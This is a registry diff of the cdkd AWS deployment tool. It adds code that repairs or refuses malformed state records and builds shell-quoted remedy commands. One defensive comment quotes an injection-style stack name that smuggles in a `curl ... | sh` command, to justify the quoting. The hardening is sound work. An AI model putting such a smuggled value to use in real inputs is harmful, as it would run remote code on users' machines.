@go-to-k/cdkd 0.290.11 → 0.290.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/{asg-provider-B5zWVTp2.js → asg-provider-CpUSth0q.js} +2 -2
- package/dist/{asg-provider-B5zWVTp2.js.map → asg-provider-CpUSth0q.js.map} +1 -1
- package/dist/cli.js +2 -2
- package/dist/{deploy-engine-C52t7w66.js → deploy-engine-omGpC16W.js} +135 -10
- package/dist/deploy-engine-omGpC16W.js.map +1 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1 -1
- package/dist/{program-FAA3rPmS.js → program-BDNXyKp5.js} +563 -337
- package/dist/{program-FAA3rPmS.js.map → program-BDNXyKp5.js.map} +1 -1
- package/dist/{version-BSEiTsV7.js → version--dVnQSTI.js} +2 -2
- package/dist/{version-BSEiTsV7.js.map → version--dVnQSTI.js.map} +1 -1
- package/package.json +1 -1
- package/dist/deploy-engine-C52t7w66.js.map +0 -1
|
@@ -1,8 +1,8 @@
|
|
|
1
|
-
import { $ as secretBearing, $n as
|
|
1
|
+
import { $ as secretBearing, $n as BOOTSTRAP_MARKER_PREFIX, $r as getAwsClients, $t as s3BucketRegionalDomainName, A as extractDeploymentEventError, Ai as markNonRetryable, An as buildForceUnlockCommand, Ar as resolveAutoAssetStorage, At as parameterTypeMayLoseSecretIdentity, B as toCfnInteger, Bn as importableOutputs, Br as MIGRATE_TMP_PREFIX, Bt as configIntegerRefusal, C as buildFinalSnapshotIdentifier, Cn as recordMaskOnlyValue, Cr as AssetManifestLoader, Ct as IntrinsicFunctionResolver, D as refusesFinalSnapshot, Di as isRetryableTransientError, Dn as LockManager, Dr as getDefaultStateBucketName, Dt as getAccountInfo, E as isFinalSnapshotError, Ei as isMarkedNonRetryable, En as scrubResourceRecord, Er as synthesisStatusMessage, Et as coerceParameterTypedValue, F as isStatefulRecreateTargetSync, Fn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Fr as resolveUseCdkBootstrapAssets, Ft as resolveExplicitPhysicalId, G as gray, Gn as AssetPublisher, Gr as PARTITION_TABLE, Gt as requireConfigObject, H as formatResourceLine, Hn as orphansAfterRollback, Hr as uploadCfnTemplate, Ht as readConfigString, I as renderStatefulReason, In as DEFAULT_STATE_PREFIX, Ir as stateBucketExistenceConfirmed, It as assertRegionMatch, J as yellow, Jn as buildAssetRedirectMap, Jr as AssemblyReader, Jt as producerRegionsFromState, K as green, Kn as stringifyValue, Kr as canonicalizeRegion, Kt as requireConfigString, L as WARM_THROUGHPUT_MEMBERS, Ln as exportNamesCarriedFrom, Lr as warnDeprecatedNoPrefixCliFlag, Lt as coerceCfnBoolean, M as planOrphanAdoption, Mi as retryClassificationText, Mn as forceQuitRecoveryClause, Mr as resolveSkipPrefix, Mt as isSettledInstanceState, N as MULTI_REGION_RECREATE_BLOCKED_TYPES, Nn as formatLockExpiry, Nr as resolveStateBucketWithDefault, Nt as WAFv2WebACLProvider, O as unsupportedFinalSnapshotError, Oi as isThrottlingError, On as S3StateBackend, Or as getLegacyStateBucketName, Ot as isImpossibleEmptyStoredAttribute, P as isStatefulRecreateTargetForReplace, Pn as shellQuote, Pr as resolveStateBucketWithDefaultAndSource, Pt as normalizeAwsTagsToCfn, Q as isExportAliasCollision, Qn as AssetModeResolver, Qr as AwsClients, Qt as s3BucketDualStackDomainName, R as coerceWarmThroughput$1, Rn as hasReadableExportSet, Rr as CFN_TEMPLATE_BODY_LIMIT, Rt as coerceCfnInteger, S as PRE_DELETE_SNAPSHOT_TYPES, Sn as maskSecretsInText, Sr as stripControlChars, St as isTerminationProtectionPropagationError, T as createPreDeleteFinalSnapshot, Ti as withErrorHandling, Tn as redactSecretsForState, Tr as Synthesizer, Tt as cfnRefValueFromPhysicalId, U as bold, Un as orphansCarriedFrom, Ur as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, Ut as replayWarn, V as toFiniteNumber, Vn as isReadableBag, Vr as findLargeInlineResources, Vt as configStringRefusal, W as cyan, Wn as shouldRetainResource, Wr as expectedOwnerParam, Wt as requireConfigArray, X as collectPublishedOutputNames, Xn as loadPublishableAssetManifest, Xt as s3BucketArn, Y as collectDeclaredOutputNames, Yn as createAssetRedirectResolver, Yr as processStackMessages, Yt as withSharedDrainBudget, Z as exportAliasCollisionScrubWarning, Zn as rewriteTemplateAssetReferences, Zr as resolveBucketRegion, Zt as s3BucketDomainName, _ as isSecretBearingReferenceString, _i as ResourceUpdateNotSupportedError, _n as errorCauseChain, _r as partitionSensitiveEnv, _t as slowCcOperationTimeoutMs, a as DeploymentEventsStore, ai as CrossAccountSecretRefusalError, an as findSilentDropProperties, ar as readBootstrapMarkerBody, at as clearOnUpdateRemoval, b as bindingSkippedOutputs, bn as markSameGenerationBag, br as runDockerStreaming, bt as deleteSkipReason, c as replayFailedOperations, ci as DynamicReferenceRegionAmbiguousError, cn as DagBuilder, cr as buildDenyExternalAccessPolicy, ct as createMaskedRetryLogger, d as updatePartialReason, di as LocalStartServiceError, dn as STATE_SOURCED_CROSS_GENERATION_RULES, dr as describeDockerCapturedOutput, dt as beginCommandInterruptScope, ei as resetAwsClients, en as s3BucketWebsiteUrl, er as assertAssetBucketRegion, et as secretBearingStateKeyWarning, f as withResourceDeadline, fn as STATE_SOURCED_READBACK_RULES, fr as describeDockerExecFailure, ft as endCommandInterruptScope, g as bagHoldsSecretExpression, gi as ResourceTimeoutError, gn as dynamicReferenceTokens, gr as getDockerCmd, gt as CloudControlProvider, h as computeImplicitDeleteEdges, hi as ProvisioningError, hn as createSecretMasker, hr as formatDockerLoginError, ht as startInterruptWatch, i as DeploymentEventsReader, in as findActionableSilentDrops, ir as parseBootstrapMarker, it as collectInlinePolicyNamesManagedBySiblings, j as makeSiblingClaimReader, ji as markRedactedCause, jn as buildLockContentionMessage, jr as resolveCaptureObservedState, jt as refStateLookupFromResource, k as makeCanonicalizePropertiesFn, ki as isTransientServerError, kn as rebuildClientForBucketRegion, kr as resolveApp, kt as isUnboundTemplateParameter, l as replayRollback, li as IntrinsicResolutionRefusalError, ln as TemplateParser, lr as describeAwsFailure, lt as maskDeep, m as IMPLICIT_DELETE_DEPENDENCIES, mi as PartialFailureError, mn as carriesSecretMask, mr as dockerSpawnEnvWithSensitive, mt as isInterruptedWaitError, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as DiffCalculator, nr as getBootstrapMarkerKey, nt as getCurrentResourceSecrets, o as planFailedOps, on as describeTypeWithThrottleRetry, or as validateAssetBucketName, ot as ProviderRegistry, p as maskingRetryLogger, pi as NestedStackChildDirectDestroyError, pn as TEMPLATE_SOURCED_RULES, pr as describeDockerFailure, pt as interruptWatchListenerCount, q as red, qn as WorkGraph, qr as derivePartitionAndUrlSuffix, qt as classifyReplaySecretRegion, r as DeployEngine, ri as CdkdError, rn as INTRINSIC_KEYS, rr as isCrossRegionRedirect, rt as IAMRoleProvider, s as planRollback, si as DeployCancelledError, sn as withRetry, sr as validateContainerRepoName, st as wouldReturnToSdkProvider, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as setAwsClients, tn as applyRoleArnIfSet, tr as ensureAssetStorage, tt as secretSafeKeyDisplay, u as updatePartialMessage, ui as LocalInvokeBuildError$1, un as STATE_SOURCED_BASELINE_RULES, ur as buildDockerImage, ut as maskerOrIdentity, v as keptWholeReasonText, vi as StackHasActiveImportsError, vn as identityKeyFor, vr as redactDockerArgvValues, vt as UNSPECIFIED_SKIP_REASON, w as ccRoutedFinalSnapshotError, wi as normalizeAwsError, wn as recoverMaskedOutput, wr as getDockerImageBySourceHash, wt as carriesDynamicReference, x as ATOMIC_FINAL_SNAPSHOT_TYPES, xn as maskSecretsInError, xr as escapeRegExp, xt as disableInstanceApiTermination, y as mergeNoChangeOutputs, yi as StackTerminationProtectionError, yn as isSingleDynamicReferenceToken, yr as runDockerForeground, yt as deleteIndeterminateGuards, z as isWarmThroughputDecrease, zn as importableOutputKeys, zr as CFN_TEMPLATE_URL_LIMIT, zt as configBooleanRefusal } from "./deploy-engine-omGpC16W.js";
|
|
2
2
|
import { C as displaySafe, S as displayIdent, _ as withSkipPrefix, b as STACK_REF_MAX_CODE_POINTS, c as PATTERN_B_NAME_OPTIONS, f as explicitNamePropertyFor, h as getCurrentStackName, i as reserveStdoutForPayload, l as PATTERN_B_NAME_PROPERTIES, m as generateResourceNameWithFallback, n as getLogger, o as runStackBuffered, p as generateResourceName, s as getLiveRenderer, u as PATTERN_B_RESOURCE_TYPES, v as withStackName, w as truncateCodePoints, x as UNRENDERABLE } from "./logger-C17H06QA.js";
|
|
3
3
|
import { t as awsClientDefaults } from "./aws-client-defaults-D-iYiIJ6.js";
|
|
4
|
-
import { t as getCdkdVersion } from "./version
|
|
5
|
-
import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-
|
|
4
|
+
import { t as getCdkdVersion } from "./version--dVnQSTI.js";
|
|
5
|
+
import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-CpUSth0q.js";
|
|
6
6
|
import { AsyncLocalStorage } from "node:async_hooks";
|
|
7
7
|
import { createHash, randomBytes, randomUUID } from "node:crypto";
|
|
8
8
|
import { CopyObjectCommand, CreateBucketCommand, DeleteBucketAnalyticsConfigurationCommand, DeleteBucketCommand, DeleteBucketCorsCommand, DeleteBucketEncryptionCommand, DeleteBucketIntelligentTieringConfigurationCommand, DeleteBucketInventoryConfigurationCommand, DeleteBucketLifecycleCommand, DeleteBucketMetricsConfigurationCommand, DeleteBucketOwnershipControlsCommand, DeleteBucketPolicyCommand, DeleteBucketReplicationCommand, DeleteBucketTaggingCommand, DeleteBucketWebsiteCommand, DeleteObjectsCommand, GetBucketAccelerateConfigurationCommand, GetBucketCorsCommand, GetBucketEncryptionCommand, GetBucketLifecycleConfigurationCommand, GetBucketLocationCommand, GetBucketLoggingCommand, GetBucketNotificationConfigurationCommand, GetBucketOwnershipControlsCommand, GetBucketPolicyCommand, GetBucketReplicationCommand, GetBucketTaggingCommand, GetBucketVersioningCommand, GetBucketWebsiteCommand, GetObjectCommand, GetObjectLockConfigurationCommand, GetPublicAccessBlockCommand, HeadBucketCommand, ListBucketAnalyticsConfigurationsCommand, ListBucketIntelligentTieringConfigurationsCommand, ListBucketInventoryConfigurationsCommand, ListBucketMetricsConfigurationsCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchBucket, NotFound, PutBucketAccelerateConfigurationCommand, PutBucketAnalyticsConfigurationCommand, PutBucketCorsCommand, PutBucketEncryptionCommand, PutBucketIntelligentTieringConfigurationCommand, PutBucketInventoryConfigurationCommand, PutBucketLifecycleConfigurationCommand, PutBucketLoggingCommand, PutBucketMetricsConfigurationCommand, PutBucketNotificationConfigurationCommand, PutBucketOwnershipControlsCommand, PutBucketPolicyCommand, PutBucketReplicationCommand, PutBucketTaggingCommand, PutBucketVersioningCommand, PutBucketWebsiteCommand, PutObjectCommand, PutObjectLockConfigurationCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
|
|
@@ -3463,6 +3463,420 @@ function recordRunFailed(recorder, stackName, error) {
|
|
|
3463
3463
|
});
|
|
3464
3464
|
}
|
|
3465
3465
|
|
|
3466
|
+
//#endregion
|
|
3467
|
+
//#region src/state/malformed-resources-bag.ts
|
|
3468
|
+
/** The error code every malformed-record refusal carries, whatever its class. */
|
|
3469
|
+
const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
|
|
3470
|
+
/**
|
|
3471
|
+
* Answer the ONE question both helpers below key on: can this record's
|
|
3472
|
+
* resource map be read at all?
|
|
3473
|
+
*
|
|
3474
|
+
* Widened past `null` / `undefined` because the message says "no readable
|
|
3475
|
+
* resources map" and a hand-edited record does not stop at those two: a
|
|
3476
|
+
* `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
|
|
3477
|
+
* empty or, for the string, absurd — repaired silently and warned about
|
|
3478
|
+
* nowhere. The predicate is the plain-object test the bag's own type implies.
|
|
3479
|
+
*/
|
|
3480
|
+
function hasReadableResources(state) {
|
|
3481
|
+
return isReadableBag(state.resources);
|
|
3482
|
+
}
|
|
3483
|
+
/**
|
|
3484
|
+
* The same question for the `outputs` bag — and it is a SEPARATE predicate
|
|
3485
|
+
* rather than a second argument to the one above because the ABSENCE rule
|
|
3486
|
+
* differs, which is the split {@link isReadableBag}'s own note calls a
|
|
3487
|
+
* per-container call.
|
|
3488
|
+
*
|
|
3489
|
+
* An absent `outputs` bag is an ordinary record, not a defect: `cdkd scrub`
|
|
3490
|
+
* round-trips one deliberately rather than materializing `{}` over it, and the
|
|
3491
|
+
* deploy's failure-path saves write `outputs: currentState.outputs`, which
|
|
3492
|
+
* `JSON.stringify` drops when it is `undefined`. So `undefined` is EXEMPT here
|
|
3493
|
+
* while it is a defect for `resources`. `null` is NOT exempt — it is a value a
|
|
3494
|
+
* hand-edited record carries and every consumer either throws on it or
|
|
3495
|
+
* launders it into `{}`.
|
|
3496
|
+
*
|
|
3497
|
+
* Both {@link repairMalformedOutputsForReadOnly} and
|
|
3498
|
+
* {@link refuseMalformedOutputs} delegate to this, so the read-only and the
|
|
3499
|
+
* write-capable halves cannot come to different verdicts about the same record.
|
|
3500
|
+
*/
|
|
3501
|
+
function hasReadableOutputs(state) {
|
|
3502
|
+
return state.outputs === void 0 || isReadableBag(state.outputs);
|
|
3503
|
+
}
|
|
3504
|
+
/**
|
|
3505
|
+
* The shared explanation, in the terms the reader needs: what is wrong, what
|
|
3506
|
+
* to look at, and what NOT to do next.
|
|
3507
|
+
*
|
|
3508
|
+
* Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
|
|
3509
|
+
* emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
|
|
3510
|
+
* `.claude/rules/layout-state-types.md` require of any suggestion a user is
|
|
3511
|
+
* meant to paste, for two separate reasons.
|
|
3512
|
+
*
|
|
3513
|
+
* Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
|
|
3514
|
+
* printable-ASCII allowlist, so it removes the line- and escape-forgery class
|
|
3515
|
+
* but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
|
|
3516
|
+
* trusted here, since a stack name reaches the cross-stack read path from an
|
|
3517
|
+
* `Fn::GetStackOutput` argument or an S3 key. A name spelled
|
|
3518
|
+
* `a'; curl http://x|sh; echo '` would close the quoting and append its own
|
|
3519
|
+
* command to the line this text tells the user to RUN.
|
|
3520
|
+
*
|
|
3521
|
+
* Wrapping the command in `'...'` is not enough either, and is what makes the
|
|
3522
|
+
* two compose badly: `shellQuote` does its own quoting, so an outer wrapper
|
|
3523
|
+
* produces something unpastable. Hence unwrapped and last.
|
|
3524
|
+
*
|
|
3525
|
+
* An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
|
|
3526
|
+
* nothing — an empty argument makes `--stack-region` swallow the next flag,
|
|
3527
|
+
* turning a remedy into a differently-broken command.
|
|
3528
|
+
*
|
|
3529
|
+
* MODULE-PRIVATE, and it stayed that way after go-to-k/cdkd#3206's review
|
|
3530
|
+
* considered exporting it. `cdkd scrub`'s audited-record refusal needed the
|
|
3531
|
+
* same three properties (sanitize, cap, `UNRENDERABLE` on empty) plus a
|
|
3532
|
+
* BOUNDARY, because its names go into a comma-joined list where a name
|
|
3533
|
+
* containing the delimiter forges an entry. `displayIdent` has all four —
|
|
3534
|
+
* JSON-quoting escapes the delimiter it adds — so that caller uses it and this
|
|
3535
|
+
* stays private. The pair here is not duplicated: what differs is the
|
|
3536
|
+
* `shellQuote` composition every message in THIS module needs and that one
|
|
3537
|
+
* must not have.
|
|
3538
|
+
*/
|
|
3539
|
+
function safeIdentifier(value) {
|
|
3540
|
+
const safe = displaySafe(value, { asciiOnly: true });
|
|
3541
|
+
if (!safe) return UNRENDERABLE;
|
|
3542
|
+
const { text, truncated } = truncateCodePoints(safe, 128);
|
|
3543
|
+
return truncated ? `${text}...` : text;
|
|
3544
|
+
}
|
|
3545
|
+
function malformedStateDetail(stackName, region) {
|
|
3546
|
+
const stack = safeIdentifier(stackName);
|
|
3547
|
+
const reg = safeIdentifier(region);
|
|
3548
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
3549
|
+
}
|
|
3550
|
+
/**
|
|
3551
|
+
* For a READ-ONLY command: give the record an empty resource bag so the
|
|
3552
|
+
* command can report on it, and say so (issue go-to-k/cdkd#3018).
|
|
3553
|
+
*
|
|
3554
|
+
* `parseStateBody` deliberately does not validate the inner shape, so a
|
|
3555
|
+
* hand-edited or truncated record reaches a command with `resources` absent,
|
|
3556
|
+
* `null`, or some other non-object. Every such command then died on a raw
|
|
3557
|
+
* `TypeError` from the first `Object.keys` / `in` / index read — the exact
|
|
3558
|
+
* wording differs per shape (`Cannot convert undefined or null to object`,
|
|
3559
|
+
* `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
|
|
3560
|
+
* them names a stack, a key or a remedy, from exactly the commands a user
|
|
3561
|
+
* reaches for WHEN the state is broken.
|
|
3562
|
+
*
|
|
3563
|
+
* WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
|
|
3564
|
+
* the twelve `Object.entries(state.resources)` loops, which was inert: every
|
|
3565
|
+
* one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
|
|
3566
|
+
* `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
|
|
3567
|
+
* happened one line up and the guards only made it look handled. One call per
|
|
3568
|
+
* load dominates the whole flow behind it, including the helpers that take the
|
|
3569
|
+
* state as a parameter (`orphan-rewriter`, `diff-calculator`,
|
|
3570
|
+
* `collectCcApiRoutes`).
|
|
3571
|
+
*
|
|
3572
|
+
* Mutates in place and returns whether it repaired anything; the caller warns
|
|
3573
|
+
* on `true`. A silent repair is its own defect — an empty resource set is
|
|
3574
|
+
* indistinguishable from a healthy empty stack in every later line of output,
|
|
3575
|
+
* so `No changes detected` over an unreadable record is a clean verdict about
|
|
3576
|
+
* nothing.
|
|
3577
|
+
*
|
|
3578
|
+
* **Only for a command that cannot WRITE state.** Anything that can persist
|
|
3579
|
+
* uses {@link refuseMalformedState} instead; see its note.
|
|
3580
|
+
*/
|
|
3581
|
+
function repairMalformedResourcesForReadOnly(state) {
|
|
3582
|
+
if (hasReadableResources(state)) return false;
|
|
3583
|
+
state.resources = {};
|
|
3584
|
+
return true;
|
|
3585
|
+
}
|
|
3586
|
+
/**
|
|
3587
|
+
* The refusal TEXT, for a command whose own exit-code contract means this
|
|
3588
|
+
* cannot be a plain `CdkdError`.
|
|
3589
|
+
*
|
|
3590
|
+
* `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
|
|
3591
|
+
* plaintext") and every one of its refusals carries `exitCode = 2`, because a
|
|
3592
|
+
* CI gate reading the code alone must be able to tell "scrub looked and found
|
|
3593
|
+
* a leak" from "scrub refused to look" — the two call for opposite responses.
|
|
3594
|
+
* So scrub tests {@link hasReadableResources} and raises its own class around
|
|
3595
|
+
* this text rather than calling {@link refuseMalformedState}.
|
|
3596
|
+
*
|
|
3597
|
+
* The other three refusing commands do NOT share that need, and giving them a
|
|
3598
|
+
* single shared code would be wrong in the other direction: `cdkd rollback`
|
|
3599
|
+
* documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
|
|
3600
|
+
* would tell an operator to re-run a command that attempted nothing.
|
|
3601
|
+
*/
|
|
3602
|
+
function malformedStateRefusalMessage(stackName, region) {
|
|
3603
|
+
return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
|
|
3604
|
+
}
|
|
3605
|
+
/**
|
|
3606
|
+
* The warning a view emits when it emptied one or more {@link
|
|
3607
|
+
* RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
|
|
3608
|
+
*
|
|
3609
|
+
* Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
|
|
3610
|
+
* narrower than it looks. That one tells the reader not to run `cdkd deploy` /
|
|
3611
|
+
* `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
|
|
3612
|
+
* from an empty stack: deploy would re-CREATE everything and destroy would
|
|
3613
|
+
* delete nothing. No container named here can produce that specific confusion —
|
|
3614
|
+
* the resource SET is still readable — so borrowing that sentence would attach
|
|
3615
|
+
* a re-create-the-world warning to a record whose resource list is intact.
|
|
3616
|
+
*
|
|
3617
|
+
* It is NOT that these containers are display-only. `properties` is read by the
|
|
3618
|
+
* deploy change calculation (`src/analyzer/diff-calculator.ts`), which imports
|
|
3619
|
+
* nothing from this module, and a non-object there compares unequal to any
|
|
3620
|
+
* desired object and yields a spurious property-change set — filed as
|
|
3621
|
+
* go-to-k/cdkd#3191. An earlier revision of this comment asserted the
|
|
3622
|
+
* display-only premise, which would have read as licence to drop a guard on
|
|
3623
|
+
* that path (review of go-to-k/cdkd#3190).
|
|
3624
|
+
*
|
|
3625
|
+
* What stays the same is the remedy: `--json` is the mode that shows the
|
|
3626
|
+
* stored value.
|
|
3627
|
+
*
|
|
3628
|
+
* ONE warning per record however many containers it names — a stack whose 500
|
|
3629
|
+
* resources all carry a hand-edited `properties` gets one line, not 500. The
|
|
3630
|
+
* caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
|
|
3631
|
+
* stable across records. Not `.sort()` — that order is deliberately not
|
|
3632
|
+
* alphabetical, and its own JSDoc says so.
|
|
3633
|
+
*
|
|
3634
|
+
* Both identifiers are sanitized and then shell-quoted, and the command is
|
|
3635
|
+
* emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
|
|
3636
|
+
* gives.
|
|
3637
|
+
*
|
|
3638
|
+
* The container NAMES take {@link safeIdentifier} too — the SAME helper, so
|
|
3639
|
+
* they cannot drift from it — but NOT `shellQuote`, because they appear in the
|
|
3640
|
+
* PROSE and never inside the command this text tells the reader to run; the
|
|
3641
|
+
* command carries the two identifiers and nothing else.
|
|
3642
|
+
*
|
|
3643
|
+
* Sanitizing them is not dead code written for a case that cannot happen. The
|
|
3644
|
+
* union above is closed at COMPILE time, so without this the guarantee would
|
|
3645
|
+
* live in a comment, and the day a caller derives a name from a record instead
|
|
3646
|
+
* of from a literal an unsanitized element could forge a line, render as empty
|
|
3647
|
+
* quotes naming nothing, or run to kilobytes and push the remedy command off
|
|
3648
|
+
* the reader's screen. `safeIdentifier` closes all three and is the identity on
|
|
3649
|
+
* all four literals, so no user-visible text moves.
|
|
3650
|
+
*
|
|
3651
|
+
* What it does NOT close, stated rather than reassured away: a forged name made
|
|
3652
|
+
* only of printable ASCII still renders verbatim inside its quotes and could
|
|
3653
|
+
* read as prose. That residual is bounded to the PROSE — the command the reader
|
|
3654
|
+
* pastes is built from the two shell-quoted identifiers alone — and closing it
|
|
3655
|
+
* would mean JSON-quoting a name in the one place the text is meant to read as
|
|
3656
|
+
* English (review of go-to-k/cdkd#3190).
|
|
3657
|
+
*/
|
|
3658
|
+
function malformedRenderedContainersWarning(stackName, region, containers) {
|
|
3659
|
+
const stack = safeIdentifier(stackName);
|
|
3660
|
+
const reg = safeIdentifier(region);
|
|
3661
|
+
const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
|
|
3662
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
3663
|
+
}
|
|
3664
|
+
/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
|
|
3665
|
+
function malformedResourcesWarning(stackName, region) {
|
|
3666
|
+
return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
|
|
3667
|
+
}
|
|
3668
|
+
/**
|
|
3669
|
+
* The `outputs` half of {@link repairMalformedResourcesForReadOnly}, for a
|
|
3670
|
+
* READ-ONLY command that DIFFS the stored bag rather than rendering it
|
|
3671
|
+
* (go-to-k/cdkd#3189).
|
|
3672
|
+
*
|
|
3673
|
+
* `computeOutputsDiff` enumerates the stored bag twice, the second walk
|
|
3674
|
+
* emitting one `REMOVE` row per stored key today's template no longer declares.
|
|
3675
|
+
* It used to admit the bag on a bare `?? {}`, which covers `null` and
|
|
3676
|
+
* `undefined` only — so a hand-edited or truncated record whose `outputs` holds
|
|
3677
|
+
* a string or a list previewed the REMOVAL of outputs that never existed, one
|
|
3678
|
+
* row per character or element, each carrying a character of the record as its
|
|
3679
|
+
* `old:` side, with `cdkd diff --fail` exiting 1 on them.
|
|
3680
|
+
*
|
|
3681
|
+
* AT THE LOAD, for the reason
|
|
3682
|
+
* {@link repairMalformedResourcesForReadOnly}'s own note records and one more
|
|
3683
|
+
* that is specific to this container: `cdkd diff` dereferences the stored bag
|
|
3684
|
+
* BEFORE the walk that fabricates. `resolveTemplateOutputs` asks
|
|
3685
|
+
* `hasOwnProperty.call(storedOutputs, key)` for go-to-k/cdkd#2740's
|
|
3686
|
+
* skipped-output record and for go-to-k/cdkd#1942's literal `Export.Name`
|
|
3687
|
+
* verdict — which ANSWERS TRUE on a string for `'0'` or `'length'`, and THROWS
|
|
3688
|
+
* outright on `null` (`Cannot convert undefined or null to object`). So a guard
|
|
3689
|
+
* written at `computeOutputsDiff` alone leaves a wrong decision, or a raw
|
|
3690
|
+
* `TypeError`, one call above it.
|
|
3691
|
+
*
|
|
3692
|
+
* ABSENT IS EXEMPT AND `null` IS NOT, which is the one place this diverges from
|
|
3693
|
+
* {@link isReadableBag}'s verdict, and the split is measured rather than
|
|
3694
|
+
* stylistic. Both stored-bag lookups named above gate on
|
|
3695
|
+
* `storedOutputs !== undefined` before the `hasOwnProperty` call, so an ABSENT
|
|
3696
|
+
* bag never reaches one; every other consumer on the diff path carries its own
|
|
3697
|
+
* `?? {}` (`mergeNoChangeOutputs`'s `persisted`, `importableOutputKeys`, this
|
|
3698
|
+
* function's own walk). An absent bag is therefore inert, exactly the condition
|
|
3699
|
+
* under which `state.ts`'s `repairRenderedContainers` exempts it — and warning
|
|
3700
|
+
* would be a false positive on a record cdkd itself supports: `cdkd scrub`
|
|
3701
|
+
* round-trips a record with no `outputs` deliberately, refusing to materialize
|
|
3702
|
+
* `{}` over it, and the deploy's failure-path saves write
|
|
3703
|
+
* `outputs: currentState.outputs`, which `JSON.stringify` drops when it is
|
|
3704
|
+
* undefined. A `null` bag is NOT inert — it passes the `!== undefined` gate and
|
|
3705
|
+
* `hasOwnProperty.call(null, ...)` throws — so it is repaired and warned about
|
|
3706
|
+
* like any other unreadable shape.
|
|
3707
|
+
*
|
|
3708
|
+
* That leaves one clause of go-to-k/cdkd#3189's stated floor overridden on
|
|
3709
|
+
* purpose: it asked that a `null` bag "diff exactly as it does today and say
|
|
3710
|
+
* nothing", and diffing exactly as it does today means THROWING. Recorded on
|
|
3711
|
+
* the issue rather than silently traded.
|
|
3712
|
+
*
|
|
3713
|
+
* Mutates in place and returns whether it repaired anything; the caller warns
|
|
3714
|
+
* on `true` with {@link malformedOutputsWarning}. Read-only commands ONLY, for
|
|
3715
|
+
* the reason {@link refuseMalformedState} gives — a bag laundered into a
|
|
3716
|
+
* well-formed empty one is permanent, and for `outputs` it would also take the
|
|
3717
|
+
* exports index with it on the next write.
|
|
3718
|
+
*/
|
|
3719
|
+
function repairMalformedOutputsForReadOnly(state) {
|
|
3720
|
+
if (hasReadableOutputs(state)) return false;
|
|
3721
|
+
state.outputs = {};
|
|
3722
|
+
return true;
|
|
3723
|
+
}
|
|
3724
|
+
/**
|
|
3725
|
+
* The warning a caller of {@link repairMalformedOutputsForReadOnly} emits.
|
|
3726
|
+
*
|
|
3727
|
+
* Deliberately neither {@link malformedResourcesWarning}'s text nor
|
|
3728
|
+
* {@link malformedRenderedContainersWarning}'s, because the CONSEQUENCE of
|
|
3729
|
+
* continuing empty differs from both. The resources text forbids
|
|
3730
|
+
* `cdkd deploy` / `cdkd destroy` because an unreadable resource MAP is
|
|
3731
|
+
* indistinguishable from an empty stack; the resource set is intact here. The
|
|
3732
|
+
* rendered-containers text says the view "shows no rows there" — true of a
|
|
3733
|
+
* renderer, false of a diff, which does not go quiet on an empty stored bag but
|
|
3734
|
+
* reports every resolved output as an `ADD`. Saying so is the point: an
|
|
3735
|
+
* operator who reads `ADD` rows for outputs the stack already has needs to know
|
|
3736
|
+
* the comparison lost its left-hand side.
|
|
3737
|
+
*
|
|
3738
|
+
* Identifiers are sanitized and then shell-quoted and the command is emitted
|
|
3739
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
3740
|
+
*/
|
|
3741
|
+
function malformedOutputsWarning(stackName, region) {
|
|
3742
|
+
const stack = safeIdentifier(stackName);
|
|
3743
|
+
const reg = safeIdentifier(region);
|
|
3744
|
+
